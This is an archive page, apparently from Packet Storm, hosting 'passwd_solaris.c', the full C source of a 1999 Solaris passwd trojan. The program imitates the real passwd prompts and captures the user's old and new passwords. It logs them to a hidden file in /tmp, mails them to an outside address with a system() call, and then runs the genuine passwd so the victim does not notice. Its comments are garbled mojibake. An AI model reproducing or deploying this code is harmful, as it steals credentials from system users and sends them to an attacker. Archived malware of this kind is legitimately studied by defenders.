exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

passwd_solaris.c

passwd_solaris.c
Posted Nov 5, 1999
Authored by shadowpenguin

Passwd trojan for Solaris.

tags | trojan
systems | unix, solaris
SHA-256 | ef068708f03fa03d4e1212a40a9379fe4e30c77bae2c0e73b6d1a7b8abed5ae9

passwd_solaris.c

Change Mirror Download
/*=============================================================================
SU Trojan Ver2.00 for Solaris
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/

#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>

/* ƒpƒXƒ[ƒh‚ð’Ê’m‚·‚郁ƒAƒh */
/* ˆÈ‰º‚Ì1s‚ðíœ‚·‚é‚ƃ[ƒ‹’Ê’m‚͍s‚í‚ê‚Ü‚¹‚ñ */
#define MAIL "hohoho@hacker.net"

/* ƒƒMƒ“ƒOƒtƒ@ƒCƒ‹. Œ©‚‚©‚è‚É‚­‚¢–¼‘O‚ɕύX */
#define LOGFILE "/tmp/.pl"

#define MSG_PERMERR "passwd (SYSTEM): Permission denied\n"\
"passwd (SYSTEM): Can't change local passwd file\n\n"
#define MSG_PERMERR_J "ƒAƒNƒZƒXŒ ‚ª—^‚¦‚ç‚ê‚Ä‚¢‚Ü‚¹‚ñB\n"
#define MSG_PERMERR_E "Permission denied\n"
#define MSG_DOESNTEXIST "passwd(SYSTEM): %s does not exist\n"
#define MSG_BANNER "passwd: Changing password for %s\n"
#define MSG_OLDPASS "Enter login password: "
#define MSG_BADOLDPASS "passwd(SYSTEM): Sorry.\n"
#define MSG_NEWPASS "New password: "
#define MSG_RENEWPAS "Re-enter new password: "
#define MSG_TOOSHORT "passwd(SYSTEM): Password too short - must be at least 6 characters.\n"
#define MSG_MUSTDIFF "passwd(SYSTEM): Passwords must differ by at least 3 positions\n"
#define MSG_INVALID "passwd(SYSTEM): The first 6 characters of the password\n"\
"must contain at least two alphabetic characters and at least\n"\
"one numeric or special character.\n"
#define MSG_DONTMATCH "passwd(SYSTEM): They don't match; try again.\n"

#define TMPFILE "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD 200

main(int argc,char *argv[])
{
int uid=getuid();
struct passwd p;
char oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
char *getpass_sys(char *);
char username[MAX_USERNAME];
char buf[200];
FILE *fp;
int i,ct,l;

memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (argc==1)
strcpy(username,p.pw_name);
else{
strncpy(username,argv[1],MAX_USERNAME-1);
username[MAX_USERNAME-1]=0;
if (getpwnam(argv[1])==NULL){
printf(MSG_DOESNTEXIST,argv[1]);
if (strcmp(getenv("LANG"),"ja")) printf(MSG_PERMERR_E);
else printf(MSG_PERMERR_J);
exit(1);
}

memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (uid!=0 && strcmp(p.pw_name,argv[1])){
printf(MSG_PERMERR);
if (strcmp(getenv("LANG"),"ja")) printf(MSG_PERMERR_E);
else printf(MSG_PERMERR_J);
exit(1);
}
}

printf(MSG_BANNER,username);
if (uid!=0){
strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
oldpasswd[MAX_PASSWD-1]=0;
if (strlen(oldpasswd)==0){
printf(MSG_BADOLDPASS);
if (strcmp(getenv("LANG"),"ja")) printf(MSG_PERMERR_E);
else printf(MSG_PERMERR_J);
exit(1);
}
}
for (;;){
strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
newpasswd[MAX_PASSWD-1]=0;
if (strlen(newpasswd)<strlen(oldpasswd)) l=strlen(newpasswd);
else l=strlen(oldpasswd);
for (ct=0,i=0;i<l;i++)
if (newpasswd[i]!=oldpasswd[i]) ct++;
if (ct>=3) break;
else printf(MSG_MUSTDIFF);
}
strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
renewpasswd[MAX_PASSWD-1]=0;
printf(MSG_DONTMATCH);

if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
#ifdef MAIL
if ((fp=fopen(TMPFILE,"w"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
system(buf);
remove(TMPFILE);
#endif
system("passwd");
}
char *getpass_sys(char *d)
{
static char *x;
int i,c1,c2;

for (;;){
x=getpass(d);
if (strlen(x)<6){
printf(MSG_TOOSHORT);
continue;
}
c1=c2=0;
for (i=0;i<strlen(x);i++){
if ((x[i]>='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++;
else c2++;
}
if (c1<2 || c2==0){
printf(MSG_INVALID);
continue;
}
break;
}
return (x);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close